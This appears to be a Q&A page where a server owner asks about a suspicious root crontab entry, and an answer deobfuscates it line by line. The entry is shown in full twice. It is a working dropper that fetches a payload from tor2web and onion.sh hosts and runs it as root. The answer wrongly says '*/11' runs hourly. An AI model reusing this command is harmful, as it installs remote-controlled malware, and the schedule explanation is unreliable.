Search code examples
servercronrootkit

What does this entry in my server's crontab do?


I was getting a bunch of emails from cron jobs that looked really weird so I went in to investigate.

I found a weird crontab entry that I have pasted below.

At first I tried to run:

crontab -u root -l

That displayed the big cron job so I immediately deleted the entry.

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp

I believe that the cron emails will now stop but I'd like to know what this entry was doing. And how often it was doing it.


Solution

  • I've reformatted the command and added comments. The command was run every hour, at 11 minutes after the full hour.

    # Get the path to the passwd binary
    tbin=$(command -v passwd)
    
    # Get the directory of the passwd binary, for example /usr/bin
    bpath=$(dirname "${tbin}")
    
    curl="curl"
    
    # Check if just "curl" is in the PATH
    if [ $(curl --version 2> /dev/null | grep "curl " | wc -l) -eq 0 ]; then
    
        # If it isn't, reset to "echo" and try to find the executable directly
        curl="echo"
    
        # If we found the path of the passwd binary above
        if [ "${bpath}" != "" ]; then
    
            # For all files that directory (for example /usr/bin)
            for f in ${bpath}*; do
    
                # Extract strings from file, check if they contain
                # "CURLOPT_VERBOSE"; if so, set "curl" to the filename and stop -
                # on my system, this sets "curl" to "usr/bin/curl"
                strings $f 2> /dev/null | grep -q "CURLOPT_VERBOSE" \
                    && curl="$f" && break
            done
        fi
    fi
    
    wget="wget"
    
    # The same for wget: check if it just "wget" works
    if [ $(wget --version 2> /dev/null | grep "wgetrc " | wc -l) -eq 0 ]; then
    
        # It didn't; reset to "echo" (disable wget), try to find executable
        wget="echo"
        if [ "${bpath}" != "" ]; then
            for f in ${bpath}*; do
                # Find a binary containing "to <bug-wget@gnu.org>" and set "wget"
                # to its name
                strings $f 2> /dev/null | grep -q "to <bug-wget@gnu.org>" \
                    && wget="$f" && break
            done
        fi
    fi
    
    # At this point, "curl" and "wget" are either set to the executables for
    # curl/wget or "echo"; it's done in this cumbersome way to find them
    # independent of any PATH; if just "curl"/"wget" doesn't work, they go and try
    # to find the binary.
    
    # Check if the hosts file contains a line with "onion"
    if [ $(cat /etc/hosts | grep -i ".onion." | wc -l) -ne 0 ]; then
        # If it does, replace the contents of the whole hosts file with "127.0.0.1
        # localhost" (which basically does nothing)
        echo "127.0.0.1 localhost" > /etc/hosts > /dev/null 2>&1
    fi
    
    # Depending on what was found above, curl and wget are now set to "echo" or the
    # executable. This first tries to fetch a file with curl from three different
    # URLs, then with wget from the same URLs, and stops after successful download.
    #
    # The downloaded file is stored in /root/.cache/.ntp, made executable and
    # immediately run as a shell script.
    (
        ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
            https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /root/.cache/.ntp \
            || ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
                https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /root/.cache/.ntp \
            || ${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 \
                https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /root/.cache/.ntp \
            || ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
                --connect-timeout=22 --timeout=75 \
                https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /root/.cache/.ntp \
            || ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
                --connect-timeout=22 --timeout=75 \
                https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /root/.cache/.ntp \
            || ${wget} --quiet --tries=2 --wait=5 --no-check-certificate \
                --connect-timeout=22 --timeout=75 \
                https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /root/.cache/.ntp
    ) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp
    

    You might want to look at /root/.cache/.ntp to figure out what it does.